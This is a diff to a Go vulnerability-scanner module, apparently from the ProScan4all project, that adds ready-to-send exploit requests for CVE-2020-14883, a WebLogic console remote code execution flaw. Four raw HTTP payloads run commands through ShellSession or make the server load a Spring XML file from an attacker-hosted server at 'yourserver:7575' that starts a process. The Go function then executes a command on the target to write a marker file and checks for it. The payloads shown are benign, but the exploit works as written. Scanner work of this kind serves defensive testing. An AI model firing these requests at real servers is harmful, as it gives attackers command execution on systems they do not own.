@@ -4,6 +4,81 @@ import (
44 "github.com/hktalent/ProScan4all/lib/util"
55)
66
7+ /*
8+ Proof of Concept (PoC) 1: using tangosol.coherence.mvel2.sh.ShellSession() for Windows-based targets
9+
10+ POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
11+ Host: vulnerablehost:7001
12+ Upgrade-Insecure-Requests: 1
13+ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
14+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9
15+ Accept-Encoding: gzip, deflate
16+ Accept-Language: zh-CN,zh;q=0.9
17+ Connection: close
18+ Content-Type: application/x-www-form-urlencoded
19+ Content-Length: 117
20+
21+ _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
22+ Proof of Concept (PoC) 2: using tangosol.coherence.mvel2.sh.ShellSession() for Linux-based targets
23+
24+ POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
25+ Host: vulnerablehost:7001
26+ Upgrade-Insecure-Requests: 1
27+ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
28+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9
29+ Accept-Encoding: gzip, deflate
30+ Accept-Language: zh-CN,zh;q=0.9
31+ Connection: close
32+ Content-Type: application/x-www-form-urlencoded
33+ Content-Length: 117
34+
35+ _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/CVE-2020-14883.txt');")
36+ Proof of Concept (PoC) 3: using com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext for Windows-based targets
37+
38+ Content of poc.xml file
39+
40+ <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
41+ <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
42+ <constructor-arg>
43+ <list>
44+ <value>cmd</value>
45+ <value>/c</value>
46+ <value>
47+ <![CDATA[calc]]>
48+ </value>
49+ </list>
50+ </constructor-arg>
51+ </bean>
52+ </beans>
53+
54+
55+ POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
56+ Host: vulnerablehost:7001
57+ Upgrade-Insecure-Requests: 1
58+ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
59+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9
60+ Accept-Encoding: gzip, deflate
61+ Accept-Language: zh-CN,zh;q=0.9
62+ Connection: close
63+ Content-Type: application/x-www-form-urlencoded
64+ Content-Length: 117
65+
66+ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://yourserver:7575/poc.xml")
67+ Proof of Concept (PoC) 4: using com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext for Windows-based targets
68+
69+ POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
70+ Host: vulnerablehost:7001
71+ Upgrade-Insecure-Requests: 1
72+ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
73+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9
74+ Accept-Encoding: gzip, deflate
75+ Accept-Language: zh-CN,zh;q=0.9
76+ Connection: close
77+ Content-Type: application/x-www-form-urlencoded
78+ Content-Length: 117
79+
80+ _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://yourserver:7575/poc.xml")
81+ */
782func CVE_2020_14883 (url string ) bool {
883 if _ , err := util .HttpRequset (url + "/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/css/testnmanp.txt%27);%22)" , "GET" , "" , false , nil ); err == nil {
984 if req2 , err2 := util .HttpRequset (url + "/console/framework/skins/wlsconsole/css/testnmanp.txt" , "GET" , "" , false , nil ); err2 == nil {
0 commit comments